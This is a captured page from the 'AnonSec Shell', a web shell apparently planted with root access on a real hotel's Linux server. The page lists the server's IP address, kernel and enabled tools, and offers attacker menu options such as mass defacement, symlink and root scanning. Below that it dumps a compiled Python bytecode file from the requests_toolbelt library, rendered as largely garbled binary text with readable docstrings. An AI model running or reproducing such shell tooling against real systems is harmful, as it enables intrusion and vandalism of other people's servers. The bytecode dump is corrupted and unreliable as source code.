AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/requests_toolbelt/threaded/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/requests_toolbelt/threaded/__pycache__/pool.cpython-310.pyc
o

IqOZ��@s�dZddlZddlZddlmZddlmZGdd�de�ZGd	d
�d
e�Z	Gdd�de	�Z
Gd
d�de	�Zdd�Zgd�Z
dS)zEModule implementing the Pool for :mod:``requests_toolbelt.threaded``.�N�)�thread�)�queuec@sneZdZdZdddejfdd�Zdd�Zedd��Z	edd	d
��Z
dd�Zd
d�Zdd�Z
dd�Zdd�ZdS)�Poola>Pool that manages the threads containing sessions.

    :param queue:
        The queue you're expected to use to which you should add items.
    :type queue: queue.Queue
    :param initializer:
        Function used to initialize an instance of ``session``.
    :type initializer: collections.Callable
    :param auth_generator:
        Function used to generate new auth credentials for the session.
    :type auth_generator: collections.Callable
    :param int num_process:
        Number of threads to create.
    :param session:
    :type session: requests.Session
    Ncs||dur
t��p	d}|dkrtd��|�_t���_t���_|�_|p%t	�_
|p*t	�_|�_�fdd�t
�j�D��_dS)Nrz)Number of processes should at least be 1.cs&g|]}t�����j�j�j��qS�)r�
SessionThread�_new_session�
_job_queue�_response_queue�
_exc_queue)�.0�_��selfr�A/usr/lib/python3/dist-packages/requests_toolbelt/threaded/pool.py�
<listcomp>*s���z!Pool.__init__.<locals>.<listcomp>)�multiprocessing�	cpu_count�
ValueErrorr
r�Queuerr�
_processes�	_identity�_initializer�_auth�_session�range�_pool)r�	job_queue�initializer�auth_generator�
num_processes�sessionrrr�__init__s




�z
Pool.__init__cCs|�|�|����S�N)rrrrrrrr	0szPool._new_sessioncKs0t��}|D]}|�|j�q|dd|i|��S)a2Create a :class:`~Pool` from an :class:`~ThreadException`\ s.

        Provided an iterable that provides :class:`~ThreadException` objects,
        this classmethod will generate a new pool to retry the requests that
        caused the exceptions.

        :param exceptions:
            Iterable that returns :class:`~ThreadException`
        :type exceptions: iterable
        :param kwargs:
            Keyword arguments passed to the :class:`~Pool` initializer.
        :returns: An initialized :class:`~Pool` object.
        :rtype: :class:`~Pool`
        rNr)rr�put�request_kwargs)�cls�
exceptions�kwargsr�excrrr�from_exceptions3szPool.from_exceptionscKsZddi}|�|p	i�t��}|D]}|��}|�d|i�|�|�q|dd|i|��S)a�Create a :class:`~Pool` from an iterable of URLs.

        :param urls:
            Iterable that returns URLs with which we create a pool.
        :type urls: iterable
        :param dict request_kwargs:
            Dictionary of other keyword arguments to provide to the request
            method.
        :param kwargs:
            Keyword arguments passed to the :class:`~Pool` initializer.
        :returns: An initialized :class:`~Pool` object.
        :rtype: :class:`~Pool`
        �method�GET�urlrNr)�updaterr�copyr%)r'�urlsr&r)�request_dictrr.�jobrrr�	from_urlsIszPool.from_urlscc� �	|��}|durdS|Vq)zoIterate over all the exceptions in the pool.

        :returns: Generator of :class:`~ThreadException`
        TN)�
get_exception)rr*rrrr(b���zPool.exceptionscC�4z	|j��\}}WntjyYdSwt||�S)zSGet an exception from the pool.

        :rtype: :class:`~ThreadException`
        N)r�
get_nowaitr�Empty�ThreadException)r�requestr*rrrr6m��
zPool.get_exceptioncCr8)zPGet a response from the pool.

        :rtype: :class:`~ThreadResponse`
        N)rr9rr:�ThreadResponse)rr<�responserrr�get_responseyr=zPool.get_responseccr5)zmIterate over all the responses in the pool.

        :returns: Generator of :class:`~ThreadResponse`
        TN)r@)r�resprrr�	responses�r7zPool.responsescCs|jD]}|��qdS)z*Join all the threads to the master thread.N)r�join)r�session_threadrrr�join_all�s

�z
Pool.join_allr$)�__name__�
__module__�__qualname__�__doc__�requests�Sessionr#r	�classmethodr+r4r(r6r@rBrErrrrr	s
�
rc@seZdZdZdd�ZdS)�ThreadProxyNcCs0tj}||jvr|||j�}t||�S|||�S)z/Proxy attribute accesses to the proxied object.)�object�__getattribute__�attrs�proxied_attr�getattr)r�attr�getr?rrr�__getattr__�s



zThreadProxy.__getattr__)rFrGrHrQrUrrrrrM�srMc@�(eZdZdZdZeddg�Zdd�ZdS)r>a>A wrapper around a requests Response object.

    This will proxy most attribute access actions to the Response object. For
    example, if you wanted the parsed JSON from the response, you might do:

    .. code-block:: python

        thread_response = pool.get_response()
        json = thread_response.json()

    r?r&cC�||_||_dSr$)r&r?)rr&r?rrrr#��
zThreadResponse.__init__N�rFrGrHrIrQ�	frozensetrPr#rrrrr>��
r>c@rV)r;a=A wrapper around an exception raised during a request.

    This will proxy most attribute access actions to the exception object. For
    example, if you wanted the message from the exception, you might do:

    .. code-block:: python

        thread_exc = pool.get_exception()
        msg = thread_exc.message

    �	exceptionr&cCrWr$)r&r\)rr&r\rrrr#�rXzThreadException.__init__NrYrrrrr;�r[r;cCs|Sr$r)�session_objrrrr�sr)r;r>r)rIrrJ�r�_compatrrNrrMr>r;r�__all__rrrr�<module>s


Anon7 - 2022
AnonSec Team